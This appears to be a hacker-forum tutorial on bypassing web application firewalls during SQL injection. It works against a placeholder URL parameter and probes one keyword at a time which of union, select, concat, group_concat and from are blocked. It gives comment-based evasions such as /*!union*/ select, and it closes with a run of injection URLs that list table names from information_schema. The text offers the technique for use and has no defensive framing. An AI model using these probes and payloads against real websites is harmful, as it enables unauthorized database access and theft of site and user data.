[D@rk1433]

-----------Analyze WAF Tutorial------


Now I share this tutorial here which I learn from Experts and By Practice.


Lets Start ---------->

1. Before Bypassing WAF on SQLI we have to understand the behaviour of WAF.
Mean we have to understand WAF that which command is block by WAF or which command is not block by WAF.

2. Now Learn Practically

http://www.site.com/php?id=3 ------> This is a site as example

Now Put ' like 3'.

http://www.site.com/php?id=3' ----> U see Error.It means Vulnerable to SQLI

Now put + at the end of 3 like -----> 3+

http://www.site.com/php?id=3+ ----> We use + to check is spaces is block or not by WAF. If you see error by using + it means spaces is block & if no error means spaces is not block

Now put union at last like ----> 3 union

http://www.site.com/php?id=3 union -----> If error like 403,406 etc or page load not normally then it means union is block or if page loads normally than it means union is not block by WAF


Now put select at last like ---->3 select

http://www.site.com/php?id=3 union select -------> If page loads normally then it means select is not block by WAF.If select is block we can easily bypass select by Bypass WAF Method


Now put union select at last like ----> 3 union select

http://www.site.com/php?id=3 union select ------->
If page loads normally then it means union select is not block by WAF. If union select block then it means both union select can't be use together.
For use together of union select we use this bypass method
------> /*union select*/ or /*!union*/ select or etc etc.


Now put concat at last like -----> 3 concat

http://www.site.com/php?id=3 concat -----> If page load normal than concat command work but if page not load normal and you see error like 403,406 etc that it means concat is block

Now put concat at last like -----> 3 group

http://www.site.com/php?id=3 group -----> If page load normal than group work but if page not load normal and you see error like 403,406 etc that it means group is block

Now put group_concat at last like -----> 3 group_concat

http://www.site.com/php?id=3 group_concat
-----> If page load normal than group_concat command work but if page not load normal and you see error like 403,406 etc that it means group_concat is block


Now put group_concat() at last like -----> 3 group_concat()

http://www.site.com/php?id=3 group_concat() -----> If page load normal than it means group_concat() command work and if you see error than it means () is block by WAF. Than you can use URL Encoding of ().

Now put group_concat(111/0x0a,0x3a/table_name) at last like -----> 3 group_concat(111/0x0a/0x3a/table_name)

http://www.site.com/php?id=3 group_concat(111/0x0a/0x3a/table_name) -----> If page load normal than it means that above command works but if you see error like 403,406 etc than it means WAF block 111/0x0a/0x3a/table_name (The reason of I use 111/0x0a/0x3a is to check is WAF block commands inside of brackets--->()). If we see error than for bypass we can use this following command as example
-----> group_concat(/*!table_name*/)


Note :- You can try to put any of these in group_concat() ----> 111,0x0a,0x3a,table_name

Now put from at last like -----> 3 from

http://www.site.com/php?id=3 from -----> If page load normal than from command work but if page not load normal and you see error like 403,406 etc that it means from is block



So In short you can see which command is block or which command is not block by WAF by understanding the behaviour of WAF


In short see ---->

http://www.site.com/php?id=3

http://www.site.com/php?id=3+

http://www.site.com/php?id=3+union

http://www.site.com/php?id=3+select

http://www.site.com/php?id=3+union select

http://www.site.com/php?id=3+group

http://www.site.com/php?id=3+concat

http://www.site.com/php?id=3+group_concat()

http://www.site.com/php?id=3+group_concat(111)

http://www.site.com/php?id=3+group_concat(table_name)

http://www.site.com/php?id=3+group_concat(table_name) from

http://www.site.com/php?id=3+group_concat(table_name) from information

http://www.site.com/php?id=3+group_concat(table_name) from information_

http://www.site.com/php?id=3+group_concat(table_name) from information_schema

http://www.site.com/php?id=3+group_concat(table_name) from information_schema.tables


http://www.site.com/php?id=3+group_concat(table_name) from information_schema.tables where

http://www.site.com/php?id=3+group_concat(table_name) from information_schema.tables where table

http://www.site.com/php?id=3+group_concat(table_name) from information_schema.tables where table_

http://www.site.com/php?id=3+group_concat(table_name) from information_schema.tables where table_schema


http://www.site.com/php?id=3+group_concat(table_name) from information_schema.tables where table_schema=database()




Thats It.


My wording is ---> If you understand the behaviour of WAF you can bypass Those WAF.


Thanks for reading hope it help you.
I Will be more happy if Experts also share their experiences regarding This

Credit :- CodeNinja a.k.a. Aakash Choudhary